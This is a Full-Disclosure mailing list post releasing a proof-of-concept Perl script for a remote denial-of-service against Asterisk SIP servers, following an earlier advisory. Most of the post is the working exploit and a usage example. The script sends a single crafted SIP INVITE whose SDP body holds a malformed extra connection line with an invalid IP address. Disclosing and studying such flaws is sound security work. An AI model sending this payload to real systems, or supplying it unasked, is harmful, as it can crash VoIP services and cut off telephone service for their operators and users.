[Full-disclosure] POC: for Asterisk SIP INVITE remote DOS

["Radu State" <state@xxxxxxxx>]

Due to many requests for the POC  and since most Asterisk systems should
have been patched by now,   please find  in this message the POc for our
advisory posted on 

 

 <http://seclists.org/fulldisclosure/2007/Mar/0315.html>
http://seclists.org/fulldisclosure/2007/Mar/0315.html

 

 

usage  example:

 

perl  asterisk-Invite.pl 192.168.1.104 5060 userX  192.168.1.2 5060 userY

 

 

 

 

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>" unless
($ARGV[5]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$msg="INVITE sip:$ARGV[2]\@$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia: SIP/2.0/UDP
$ARGV[3]:$ARGV[4];branch=01;rport\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]:$ARGV[1]>\r\nFrom:
<sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nContent-Type:
application/sdp\r\nCSeq: 01 INVITE\r\nContent-Length:
187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4 $ARGV[3]\r\ns=session\r\nc=IN
IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0 0\r\nm=audio 13956 RTP/AVP 0 4 3
8 111 5 10 7 18 110 97 101\r\na=rtpmap:98 speex/16000\r\n\r\n";

$socket->send($msg);

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